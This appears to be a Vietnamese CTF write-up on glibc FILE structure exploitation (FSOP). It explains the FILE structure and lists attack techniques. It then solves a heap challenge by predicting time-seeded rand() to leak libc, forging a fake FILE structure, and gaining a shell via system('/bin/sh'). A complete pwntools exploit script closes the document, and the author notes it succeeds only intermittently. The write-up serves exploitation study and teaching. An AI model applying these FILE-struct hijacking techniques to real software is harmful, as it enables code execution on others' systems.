```!
Task 4: Tìm hiểu về File Stream Oriented Programming(FSOP). Nêu ra 1 số kiểu khai thác FILE struct(ovr con trỏ buf, vtable, ...). Solve bài sau, tìm hiểu về trick của hàm rand khi sử dụng seed là time(0) để solve. Hạn là thứ 6 tuần sau(22/11). Yêu cầu sử dụng FSOP để khai thác, có thể khai thác bất kì kiểu gì(leak, write, get shell, ...) đọc src libc và giải thích rõ khi ovr FILE
```
# 1. FILE structure
Với phiên bản Glibc 2.35, file structure được định nghĩa như sau:

Vậy FILE là một struct có tên gọi khác là **_IO_FILE**:

- **int \_flags**: Biến **\_flags** lưu trữ trạng thái của file (read/write-only, read-write, EOF, ...). Một dạng khác cao hơn của **\_flags** thường được dùng cho **_IO_MAGIC** để nhận diện một file object hợp lệ.
- Các pointer dành cho buffer: Những pointer này trỏ đến các phân vùng trên buffer để làm nhiệm vụ quản lý đọc và ghi:
- char **\*\_IO_read_ptr**: Trỏ tới địa chỉ đang được đọc trong buffer.
- char **\*\_IO_read_end**: Trỏ tới địa chỉ cuối của phân vùng đọc trong buffer.
- char **\*\_IO_read_base**: Trỏ tới địa chỉ bắt đầu của phân vùng đọc trong buffer .
- Với các char **\*_IO_write_base, \*_IO_write_ptr, \*_IO_write_end** cũng có vai trò tương tự đối với phân vùng ghi.
- char **\*\_IO_buf_base, \*\_IO_base_end**: như tên gọi, nó trỏ tới địa chỉ bắt đầu và kết thúc của phân vùng buffer.
- Trường dành cho back-up và hoàn tác:
- char **\*\_IO_save_base**, **\*\_IO_save_end**: Trỏ tới địa chỉ đầu và cuối của phân vùng read buffer dự phòng.
- char **\*\_IO_backup_base** : Trỏ tới địa chỉ hợp lệ đầu tiên trong phân vùng backup.
- **struct \_IO_marker \*\_markers**: Là một trường trỏ tới một danh sách liên kết gồm các struct **\_IO_marker**. Nó làm nhiệm vụ quản lý các địa chỉ đọc và ghi trên stream, thường được dùng với trạng thái buffer lồng hoặc trong tìm kiếm.
- **struct \_IO_FILE \*chain**: Trỏ tới đối tượng **\_IO_FILE** tiếp theo trong danh sách liên kết của những luồng mở file.
- File Descriptor và các trường phụ trợ:
- **int \_fileno**: Lưu trữ mô tả file, là một số nguyên đặc biệt xác định một file mở trong hệ thống.
- **int \_flag2**: Lưu trữ các flags khác khi nó không đủ chứa trong **\_flags**, nó có thể chứa những flags thực hiện cụ thể trong glibc.
- **__off_t \_old_offset**: Lưu trữ offset so với vị trí cũ của file, mà trước đó được lưu trữ trong **_offset**.
- Chỉ số cột và Vtable offset:
- **unsigned short \_cur_column**: Theo dõi chỉ số cột hiện tại khi làm việc với I/O định hướng theo dòng (line-oriented I/O).
- **signed char \_vtable_offset**: Được dùng như một offset cho bảng hàm ảo (**virtual function table**), thường dùng cho những stream đặc biệt mà cần cách xử lý đặc biệt.
- **char \_shortbuf[1]**: Một buffer nhỏ (thường là một kí tự) dùng cho những hoạt động I/O không đệm (unbuffered) hoặc giảm thiểu vùng đệm (minimally buffered).
- Khóa và đồng bộ (Lock and Synchronization):
- **\_IO_lock_t \*\_lock** : Trỏ tới một struct **lock** được dùng cho những luồng truy xuất an toàn (thread-safe access) đến luồng dữ liệu của file, cho phép đồng bộ khi có nhiều luồng con truy cập vào **FILE** stream.
Ngoài struct **\_IO_FILE**, ta còn có phiên bản mở rộng hơn là **\_IO_FILE_plus**, với cấu trúc như sau:

- Jump table:
- **vtable** của **\_IO_FILE_plus** trỏ tới một tập các con trỏ hàm. Những hàm này là những hàm nội bộ của GLIBC, được gọi đến bởi các hàm cao hơn là **puts**, **fgets** hoặc **printf**. Với những streams chuẩn như **stdout**, **vtable** trỏ tới bảng **\_IO_jump_t**. Cấu trúc của nó sẽ như sau:
```c!
const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_new_file_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, _IO_new_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_file_jumps)
```
Trước khi được giải tham chiếu bởi **vtable**, GLIBC check nếu địa chỉ ấy có ở trong **\_\_libc_IO_vtables** trước.
```c!
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
```
# 2. Một số kĩ thuật khai thác FILE struct
- Điều khiển vtable: Như đã nói ở trên, ta cần thay đổi các pointer như **IO_accept_foreign_vtables** và bypass **IO_validate_table**,.... Ví dụ như khi gọi đến hàm **printf** nó sẽ gọi đến **IO_file_xsputn**. Ta có thể điều hướng nó dựa vào các bảng chứa con trỏ hàm khác như bảng **\_IO_str_jumps** hay **\_IO_wfile_jumps**. Và cuối cùng trigger bằng cách dùng các hàm như **fclose** hay **fflush**. Với kiểu khai thác này, ta có thể sử dụng các bug như heap overflow hay UAF.
- Khai thác **buf_base** và **buf_end**:
- **\_IO_buf_base** và **\_IO_buf_end** quy định giới hạn buffer cho input/output. Nếu các con trỏ này bị khai thác, nó có thể dẫn đến ghi hoặc đọc các dữ liệu bất kì.
- Bằng cách làm cho **\_IO_buf_base** trỏ đến địa chỉ mà ta cần, và gọi đến các hàm như **fgets** hay **fwrite** để trigger.
- Khai thác con trỏ ``_IO_write_ptr``: Ta có thể thay đổi ``_IO_write_ptr`` cho nó 'đè' lên trên vùng ``_IO_buf_end``, đến khi ```fflush()``` hay ```fwrite()``` được gọi, chương trình sẽ ghi vượt quá giới hạn của buffer, dẫn đến overwriting các vùng nhớ nhạy cảm.
- Chiếm quyền kiểm soát trường ```_chain```: `_chain` kết nối các struct `_IO_FILE`. Ta có thể khai thác và 'nối' một fake struct `_IO_FILE` vào list ấy. Khi glibc duyệt chain ấy, nó có thể chứa gọi đến các dòng code của bên attacker thông qua bảng `vtable` đã bị khai thác. Ta có thể dùng các kĩ thuật như UAF hoặc ghi tùy ý con trỏ để thực hiện.
- Khai thác `_IO_read_ptr` và `_IO_read_end`: Bằng cách chỉnh sửa các con trỏ này, kẻ tấn công có thể mô phỏng việc đọc quá giới hạn hoặc điều khiển data nào sẽ được đọc. Kẻ tấn công có thể set `_IO_read_ptr` để trỏ tới vùng nhớ nhạy cảm (stack hoặc heap) và set cho `_IO_read_end` giới hạn data được đọc, trigger (dùng fgets chẳng hạn) để leak data (stack canaries, libc base address, ...)
- Khai thác trường `fileno`: Cho `fileno` trỏ tới một file description hợp lệ (`stdin`, `stdout`, `/dev/null`) và chuyển hướng các file operations như `fopen`, `fclose` tới target.
- Khai thác `flags`: Trường `_flag` lưu trữ trạng thái của một file stream. Bằng cách thay đổi, kẻ tấn công có thể gây ra những hành vi không mong muốn.
- Buffer Overflow trong FILE structure: Một số hàm (như `sprintf`) không check kích thước của data nhập vào. Nếu các con trỏ buffer bị tấn công, nó sẽ gây ra lỗi buffer overflow.
- Sử dụng `_IO_list_all` cho kiểm soát toàn cục: `_IO_file_all` là một biến toàn cục, khi chứa một list của các đối tượng `_IO_FILE` đang hoạt động. Ta có thể overwrite `_IO_list_all` để trỏ tới một fake struct `_IO_FILE_plus` bằng các bug như heap overflows, sau đó trigger một hàm (ví dụ như `fflush`) để thực thi các câu lệnh hoặc hoạt động trên file giả.
# 3. Challenge
Ta được cho một file binary. Decompile hàm main ta có:
```c!
__int64 __fastcall main(int a1, char **a2, char **a3)
{
unsigned int v3; // eax
char str_choice[10]; // [rsp+Eh] [rbp-12h] BYREF
int v6; // [rsp+18h] [rbp-8h]
int status; // [rsp+1Ch] [rbp-4h]
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
v3 = time(0LL);
srand(v3);
status = 1;
while ( status )
{
print_menu();
fgets(str_choice, 10, stdin);
v6 = atoi(str_choice);
switch ( v6 )
{
case 1:
createChoncc();
break;
case 2:
viewChoncc();
break;
case 3:
editChoncc();
break;
case 4:
removeChoncc();
break;
case 5:
openChonccFile();
break;
case 6:
closeChonccFile();
break;
case 7:
writeChonccFile();
break;
case 8:
status = 0;
break;
default:
puts("what options are you making up?");
break;
}
}
return 0LL;
}
```
Hàm `createChoncc()`:
```c!
int createChoncc()
{
int result; // eax
char size[10]; // [rsp+Eh] [rbp-22h] BYREF
Choncc *choncc; // [rsp+18h] [rbp-18h]
int chonccSize; // [rsp+24h] [rbp-Ch]
Choncc *i; // [rsp+28h] [rbp-8h]
puts("Enter the size of the choncc:");
fgets(size, 10, stdin);
chonccSize = atoi(size);
if ( chonccSize <= 0 )
return puts("huh");
if ( (unsigned __int64)chunk_limit < chonccSize )
return puts("that's too much");
chunk_limit = (int *)((char *)chunk_limit - chonccSize);
choncc = (Choncc *)malloc(0x18uLL);
*(_QWORD *)&choncc->size = chonccSize;
choncc->data = (char *)malloc(chonccSize);
choncc->nextChoncc = 0LL;
if ( chonccArr )
{
for ( i = chonccArr; i->nextChoncc; i = i->nextChoncc )
;
i->nextChoncc = choncc;
return puts("Done");
}
else
{
result = (int)choncc;
chonccArr = choncc;
}
return result;
}
```
Nó sẽ cho ta tạo một choncc, với kích thước không vượt quá `chunk_limit` = 512:


Cùng với data sẽ được malloc bằng với kích thước của `chonccSize`. Sau đó nó sẽ được thêm vào danh sách liên kết đơn **chonccArr**.
Hàm `viewChoncc()`:
```c!
int viewChoncc()
{
char s[10]; // [rsp+6h] [rbp-1Ah] BYREF
int chonccIndex; // [rsp+10h] [rbp-10h]
int currentChoncc; // [rsp+14h] [rbp-Ch]
Choncc *choncc; // [rsp+18h] [rbp-8h]
puts("Enter the choncc number:");
fgets(s, 10, stdin);
chonccIndex = atoi(s);
if ( chonccIndex <= 0 )
return puts("huh");
choncc = chonccArr;
currentChoncc = 1;
while ( choncc && currentChoncc != chonccIndex )
{
++currentChoncc;
choncc = choncc->nextChoncc;
}
if ( !choncc )
return puts("The choncc you wish to view does not exist.");
printf("%d: ", (unsigned int)chonccIndex);
write(1, choncc->data, *(_QWORD *)&choncc->size);
write(1, "\n", 1uLL);
return puts("Done");
}
```
Với `chonccIndex` là Choncc cần view, nó đầu tiên sẽ tìm index đó ở trong mảng **choncArr**. Nếu nó không tồn tại thì sẽ in ra thông báo, còn nếu có, nó sẽ gọi hàm **write()** để in ra data.
Hàm `editChoncc()`:
```c!
int editChoncc()
{
char s[10]; // [rsp+6h] [rbp-1Ah] BYREF
int chonccIndex; // [rsp+10h] [rbp-10h]
int currentChoncc; // [rsp+14h] [rbp-Ch]
Choncc *choncc; // [rsp+18h] [rbp-8h]
puts("Enter the choncc number:");
fgets(s, 10, stdin);
chonccIndex = atoi(s);
if ( chonccIndex <= 0 )
return puts("huh");
choncc = chonccArr;
currentChoncc = 1;
while ( choncc && currentChoncc != chonccIndex )
{
++currentChoncc;
choncc = choncc->nextChoncc;
}
if ( !choncc )
return puts("The choncc you wish to edit does not exist.");
puts("Enter the new content for the choncc:");
read(0, choncc->data, *(_QWORD *)&choncc->size);
return puts("Done");
}
```
Đầu tiên nó cũng sẽ check xem có choncc nào trong danh sách hay không, nếu có thì nó gọi hàm **read()** để edit data của choncc ấy.
Hàm `removeChoncc()`:
```c!
int removeChoncc()
{
char s[10]; // [rsp+Eh] [rbp-22h] BYREF
int chonceIndex; // [rsp+18h] [rbp-18h]
int i; // [rsp+1Ch] [rbp-14h]
Choncc *currentChoncc; // [rsp+20h] [rbp-10h]
void *chonccToDelete; // [rsp+28h] [rbp-8h]
if ( !chonccArr )
return puts("You have no chonccs to remove");
puts("Enter the choncc number:");
fgets(s, 10, stdin);
chonceIndex = atoi(s);
if ( chonceIndex <= 0 )
return puts("huh");
chonccToDelete = 0LL;
if ( chonccArr && chonceIndex == 1 )
{
chonccToDelete = chonccArr;
chonccArr = chonccArr->nextChoncc;
}
else
{
currentChoncc = chonccArr;
for ( i = 2; currentChoncc->nextChoncc && i != chonceIndex; ++i )
currentChoncc = currentChoncc->nextChoncc;
if ( i != chonceIndex || !currentChoncc->nextChoncc )
return puts("The choncc you wish to remove does not exist.");
chonccToDelete = currentChoncc->nextChoncc;
currentChoncc->nextChoncc = currentChoncc->nextChoncc->nextChoncc;
}
chunk_limit = (int *)((char *)chunk_limit + *(_QWORD *)chonccToDelete);
free(*((void **)chonccToDelete + 1));
free(chonccToDelete);
return puts("Done");
}
```
Nó sẽ cho nhập vào vị trí choncc cần xóa. Nếu nó ở vị trí đầu mảng, nó sẽ di chuyển con trỏ đến choncc tiếp theo, còn không nó sẽ tìm choncc đó ở trong danh sách liên kết. Nếu không tìm, nó sẽ in ra thông báo. Còn nếu có thì nó sẽ cho con trỏ `nextChoncc` đến `nextChoncc` của choncc cần xóa. Cuối cùng, nó hoàn trả lại size cho `chunk_limit` và free data, lẫn con trỏ trỏ tới choncc cần xóa đó nên không có bug UAF ở đây.
Hàm `openChonccFile()`:
```c!
int openChonccFile()
{
puts("Opening chonccfile...");
stream = fopen("/tmp/chonccfile", "w");
return puts("Done");
}
```
Nó sẽ đọc 1 file có đường dẫn `/tmp/chonccfile`.
Hàm `closeChonccFile()`:
```c!
int closeChonccFile()
{
int v0; // eax
int i; // [rsp+Ch] [rbp-4h]
puts("Closing chonccfile");
if ( stream )
fclose(stream);
for ( i = 0; i <= 463; i += 4 )
{
v0 = rand();
usleep(v0 % 100000);
*(int *)((char *)&stream->_flags + i) ^= rand();
}
return puts("Done");
}
```
Đầu tiên nó đóng stream, rồi sau đó nó sẽ chạy 1 vòng lặp, với mục đích là random các dữ liệu tính từ trường `_flags`, tổng cộng là 464/4 = 116, bằng cách xor nó với một số bất kì. Với mỗi vòng lặp, nó sẽ sleep một khoảng thời gian `v0 % 100000` với `v0` cũng là một số random.
Hàm `writeChonccFile()`:
```c!
int writeChonccFile()
{
time_t v0; // rax
char s[40]; // [rsp+0h] [rbp-30h] BYREF
Choncc *ptr; // [rsp+28h] [rbp-8h]
v0 = time(0LL);
printf("Writing to chonccfile at timestamp %llu...\n", v0);
puts("Are you sure you want to save? [Y/n]");
fgets(s, 16, stdin);
if ( tolower(s[0]) == 'n' )
return puts("Writing chonccfile cancelled. Feel free to make more edits");
if ( !stream )
puts("Chonccfile is not even opened. What are you doing, my friend?");
for ( ptr = chonccArr; ptr; ptr = ptr->nextChoncc )
{
fwrite(ptr, 4uLL, 1uLL, stream);
fwrite(ptr->data, *(_QWORD *)&ptr->size, 1uLL, stream);
}
return puts("Done");
}
```
Nó sẽ set timestamp `time(0)`, và nó cho ta nhập tối đa 16 kí tự, nếu kí tự đầu là `n`, nó sẽ cancel, nếu không thì nó sẽ check xem có đang mở file không, nếu có thì nó sẽ ghi theo thứ tự 4 bytes đầu, là size của choncc ấy, và cuối cùng là ghi data của nó vào file.
Struct Choncc ta định nghĩa như sau:

- Kiểm tra version của libc đã cho:

libc đã cho ở phiên bản 2.39.
Nhìn qua task mình không thấy có hướng gì cả vì chưa biết leak địa chỉ libc ra sao, khi mà mình chưa tìm được cách nào để in ra cái chunk được tạo khi mở file và đóng file, để xor lại với các giá trị sinh ra từ `rand()`.
Ta thử tạo 1 chunk choncc để xem cấu trúc của nó ra sao.

- Với choncc số 1, mình để kích thước data sẽ là 50, khi đó chunk sẽ bắt đầu từ `0x55555555d290`, data có kích thước là 0x50 + 0x10 của metadata, nên sẽ là 0x60, sẽ được chia làm 2 phần, lần lượt là 0x20 dành cho metadata của choncc bao gồm địa chỉ của data và địa chỉ của metadata choncc tiếp theo, 0x40 tiếp theo sẽ là phần chứa data.
- Khi ta mở file `/tmp/chonccfile`, chương trình sẽ malloc 1 chunk có kích thước 0x1e0, vô tình mình để ý rằng, nếu trừ đi phần metadata là 0x10, thì sẽ còn 0x1d0 = 484, trùng với số lượng vòng lặp của hàm `for` ở hàm `closeChonccFile()`.

Với source 2.39 ở [đây](https://elixir.bootlin.com/glibc/glibc-2.39/source/libio/bits/types/struct_FILE.h#L49), ta có thể có cấu trúc của FILE struct tương ứng như sau:
```c!
_flags = 0xfbad2484;
_IO_read_ptr = 0x0;
_IO_read_end = 0x0;
_IO_read_base = 0x0;
_IO_write_base = 0x0;
_IO_write_ptr = 0x0;
_IO_write_end = 0x0;
_IO_buf_base = 0x0;
_IO_buf_end = 0x0;
_IO_save_base = 0x0;
_IO_backup_base = 0x0;
_IO_save_end = 0x0;
_IO_marker *_markers = 0x0;
_IO_FILE *_chain = 0x7ffff7df04e0 <_IO_2_1_stderr_>;
_fileno = 0x3; // 4 bytes
_flags2 = 0x0;
_old_offset = 0x0;
_cur_column = 0x0;
_vtable_offset = 0x0;
_shortbuf = "";
_lock = 0x55555555d380;
_offset = 0xffffffffffffffff;
_codecvt = 0x0;
_wide_data = 0x55555555d390;
...
```
- Khi mở file, nó sẽ gọi đến hàm `fopen`. Tìm trong source code hoặc sử dùng gdb, mình thấy nó có gọi đến 1 hàm là `__fopen_internal`

`fopen` là 1 cách gọi khác của `_IO_new_open`, trong source code, nó sẽ cho gọi đếm hàm `__fopen_internal`:

- Hàm `__fopen_internal` được cho như sau:

Nó sẽ malloc ra một file với kích thước bằng kích thước của struct `locked_FILE`, trong đó có chứa struct `_IO_FILE_plus` đã nói ở trên và một biến có kiểu `_IO_lock_t` cùng struct `_IO_wide_data`.


- Khi ta đóng file, chunk khi malloc khi mở file sẽ được xor với các số ngẫu nhiên thông qua hàm `for` đã phân tích trước đó.


Trước tiên ta sẽ tìm cách leak địa chỉ libc base address.
Bởi vì khi free, chunk trước đó dùng để mở file được đưa vào tcache

Nên ta chỉ cần malloc một chunk bằng với kích thước `0x1e0 - 0x10 = 0x1d0 = 464` là data của chunk choncc sẽ lấy ra chunk đã free từ tcache:

Như ta thấy, phần con trỏ trỏ đến data đã trỏ đến chunk mà ta đã free trước trước đó dùng để mở file.

Giờ xor lại với các giá trị đoán ra từ hàm random nữa là ta sẽ có được địa chỉ libc. Như nãy ta đã phân tích, ở địa chỉ `heap + 0x308`, giá trị của `_chain` trỏ đến một địa chỉ trong libc là `_IO_2_1_stderr_`:
`_IO_FILE *_chain = 0x7ffff7df04e0 <_IO_2_1_stderr_>;`
Nên nó sẽ nằm khoảng ở vòng lặp i = 104 và i = 108:
```python!
for i in range(0, 464, 4):
block = u32(leak[i:(i+4)])
v0 = libc_rand.rand()
# sleep_time = (v0 % 100000) / 1_000_000
# time.sleep(sleep_time)
second_rand = libc_rand.rand()
block = block ^ second_rand
decode_leak += p32(block)
```

Vậy ta đã có địa chỉ libc.
Vì ta có thể chỉnh sửa tùy ý chunk, nên ta sẽ chỉnh sửa freed chunk đã dùng để mở file (hiện tại đang ở index 2 của mảng choncc) rồi open file, từ đó ta có thể điều hướng thực thi của chương trình vì nó sẽ nhận diện chunk mà ta đã sửa xem có valid hay không, nên ta sẽ hướng đến điều chỉnh để bypass qua nó lẫn script thêm vào.
Ở đây chương trình cho ta ghi file sử dụng hàm `fwrite()`:
- Khi ta ghi file, nó sẽ gọi đến hàm `fwrite`, một alias khác của hàm `_IO_fwrite`


Với flow code khi ta gọi đến hàm `fwrite()` như sau: Nó gọi đến hàm `_IO_fwrite()`. Mục tiêu của ta là thực hiện câu lệnh `system(/bin/sh)` thông qua trigger hàm `fwrite()`. Để làm được điều này, mình có tìm thấy trong source code có một hàm như sau:

Có một hàm đáng chú ý là hàm `_IO_doallocbuf(f)`, `_IO_wfile_overflow` sẽ check `_IO_write_base == NULL` hay không, nếu có thì nó sẽ gọi đến hàm `_IO_doallocbuf(f)`. Hàm này có tác dụng reset hoặc malloc buffer, và nó sẽ lấy từ trường `_IO_backup_base`, là nơi để chứa địa chỉ backup khi bộ nhớ không đủ để ghi. Vậy nếu ta thay đổi `_IO_backup_base` thành hàm `system()` là ta sẽ có shell.
Fake FILE chunk của ta sẽ như sau:
```python!
file_start = heap_leak + 0x2f0
fp = FileStructure()
fp.flags = unpack(b" /bin/sh")
fp._IO_read_ptr = 0
fp._lock = heap_leak
fp._IO_save_base = file_start - 0x18
fp._IO_backup_base = libc.sym.system
fp._wide_data = file_start - 0x98
fp.vtable = libc.sym.__io_vtables + 0x328
```
Mình đặt `file_start` là giá trị bắt đầu của choncc 2, hay là vị trí chunk đã dùng để open file trước đó.
Với khởi tạo từ hàm `FileStructure()` của `pwntools`, ban đầu chunk của ta sẽ có format như sau:

Vì `_flags` ở đầu của struct `fp`, nên như vừa đã nói ở trên, ta sẽ thay đổi nó thành ` /bin/sh` để đảm bảo có kí tự 0 ở đầu, bypass qua một hàm có tên `__fwritable`:

Với `_IO_NO_WRITES` được define như sau:

hay là 0x8, nên ta cần ghi đè `_flags` sao cho bytes đầu của nó bằng 0.
Vì trường `_IO_backup_base` sẽ được trả về `system()` khi ta trigger hệ thống rằng có overflow, nên giá trị của nó sẽ là `libc.sym.system`.
- Ta đặt giá trị của `_IO_read_ptr` bằng 0 để nó giữ cho chuỗi `/bin/sh` của ta như một chuỗi null trong quá trình thực thi qua các hàm của libc.
- Con trỏ `_lock` sẽ trỏ đến địa chỉ base của heap, để đảm bảo cho nó là một giá trị hợp lệ.
- Ta cần điều chỉnh vị trí của `_IO_save_base` để nó trỏ tới `_IO_backup_base`, mục đích vì ở `_wide_data->vtable + 0x68`, có một con trỏ trỏ tới `_IO_wfile_overflow`, là `_IO_overflow_t`



(Về ảnh cuối, mình tham khảo ở [đây](https://niftic.ca/posts/fsop/#_io_wdoallocbuf43))
- Sau đó ta cũng cần điều chỉnh `fp->_wide_data` base address theo những gì ta đã 'dịch' khi chỉnh sửa `_IO_save_base`, để `_wide_data->vtable + 0x68` thực thi `fp->_IO_backup_base`
- Cuối cùng, ta cho `fp->vtable` trỏ đến `_IO_wfile`, ở đó, offset `_IO_wfile + 0x38` sẽ trỏ đến `_IO_wfile_overflow`.
Vậy là ta vẫn cần leak địa chỉ của heap để phục vụ nốt cho phần `file_start`.
Để leak được, mình sẽ đưa một choncc vào tcache, sau đó lấy ra. Khi đó nội dung của choncc vừa malloc ra sẽ có con trỏ tới `tcache_entry->next`, nhưng các phiên bản libc gần đây thường có cơ chế bảo vệ
```bash!
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
```
Nên sau khi leak, ta cần dịch bit trái 12 lần, không lấy phần đã xor của `(size_t)ptr`

# 4. Script
Script thi thoảng mình chạy thấy địa chỉ libc đúng, có lúc nó lại sai. Khi mình attach vào gdb, nó chắc chắn sai. Cái này mình không giải thích được. Nhưng chạy một vài lần, có lần nó sẽ leak đúng địa chỉ libc base address. Như này chẳng hạn:

Dẫn đến fatal error của vtable check:

Nên mình nghĩ nó nằm ở phần rand() chưa đúng lắm.
```python!
#!/usr/bin/env python3
from pwn import *
from ctypes import CDLL
import time
exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
libc_rand = CDLL("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
def createChoncc(size):
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b'choncc:\n', size)
def viewChoncc(index):
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b'number:\n', index)
r.recvuntil(b': ')
def editChoncc(index, content):
r.sendlineafter(b'> ', b'3')
r.sendlineafter(b'number:\n', index)
r.sendlineafter(b'choncc:\n', content)
def removeChoncc(index):
r.sendlineafter(b'> ', b'4')
r.sendlineafter(b'number:\n', index)
def openChonccFile():
r.sendlineafter(b'> ', b'5')
def closeChonccFile():
r.sendlineafter(b'> ', b'6')
def writeChonccFile():
r.sendlineafter(b'> ', b'7')
r.sendlineafter(b']\n', b'Y')
# print(r.recvline(3))
input()
# Leak heap base address
createChoncc(b'32')
removeChoncc(b'1')
createChoncc(b'32')
viewChoncc('1')
heap_leak = u64(r.recv(8)) << 12
info(b'Heap address: ' + hex(heap_leak).encode())
# leak libc base address
openChonccFile()
libc_rand.srand(libc_rand.time(0))
# writeChonccFile()
# info(r.recvline(3))
# info(b'Time stamp outer function: ' + str(libc_rand.time(0)).encode())
# pause()
closeChonccFile()
createChoncc(b'464')
viewChoncc(b'2')
leak = r.recv(464)
decode_leak = b''
for i in range(0, 464, 4):
block = u32(leak[i:(i+4)])
v0 = libc_rand.rand()
# sleep_time = (v0 % 100000) / 1_000_000
# time.sleep(sleep_time)
second_rand = libc_rand.rand()
block = block ^ second_rand
decode_leak += p32(block)
# print(f'Loop {i}: {hex(second_rand)}')
libc_leak = u64(decode_leak[104:112])
libc.address = libc_leak - libc.sym['_IO_2_1_stderr_']
info(b'Libc leak: ' + hex(libc_leak).encode())
info(b'Libc base address: ' + hex(libc.address).encode())
file_start = heap_leak + 0x2f0
fp = FileStructure()
fp.flags = unpack(b" /bin/sh")
fp._IO_read_ptr = 0
fp._lock = heap_leak
fp._IO_save_base = file_start - 0x18
fp._IO_backup_base = libc.sym.system
fp._wide_data = file_start - 0x98
fp.vtable = libc.sym.__io_vtables + 0x328
editChoncc(b'2', bytes(fp))
writeChonccFile()
pause()
# stream = heap_leak + 0x2f0
# # good luck pwning :)
# payload = p64(0xfbad0000)
# payload += p64(0)*13
# payload += p32(0xffffffff) + p32(0)
# payload += p64(0)*2
# payload += p64(stream + 0x2000)
# payload += p64(0xffffffffffffffff)
# payload += p64(0)*8
# payload += p64(libc.address + libc.sym['_IO_file_jumps'])
# editChoncc(b'1', payload)
# closeChonccFile()
# openChonccFile()
# payload = p64(b'/bin/sh\x00')
# payload += p64(0)
# payload += p64(libc.address + libc.sym['system'])
# payload += p64(0)
# payload += p64(0)
# payload += p64(1)
# payload += p64(0)
# payload += p64(0)*10
# payload += p64(stream + 0x2000)
# payload += p64(0xffffffffffffffff)
# payload += p64(0)
# payload += p64(stream)
# payload += p64(0) * 6
# payload += p64(libc.address + libc.sym['_IO_wfile_jumps'])
# payload += p64(stream - 0x58)
# editChoncc(b'1', payload)
r.interactive()
if __name__ == "__main__":
main()
```
Kết quả:

<!-- https://velog.io/@dandb3/L3ak-CTF-writeup -->
# 5. References
[1]. https://7rocky.github.io/en/ctf/htb-challenges/pwn/filestorage/
[2]. https://4ngelboy.blogspot.com/2017/11/play-with-file-structure-yet-another.html
[3]. https://hackmd.io/@kyr04i/SkF_A-fnn#3-LEAK-LIBC-VIA-_IO_FILE-READ-PRIMITIVE
[4]. https://niftic.ca/posts/fsop/#known-exploitation-techniques
[5]. https://elixir.bootlin.com/glibc/glibc-2.39/source/libio/iofwrite.c#L30
[6]. https://ctf-wiki.mahaloz.re/pwn/linux/io_file/introduction/
[7]. https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/
[8]. https://chovid99.github.io/posts/file-structure-attack-part-1/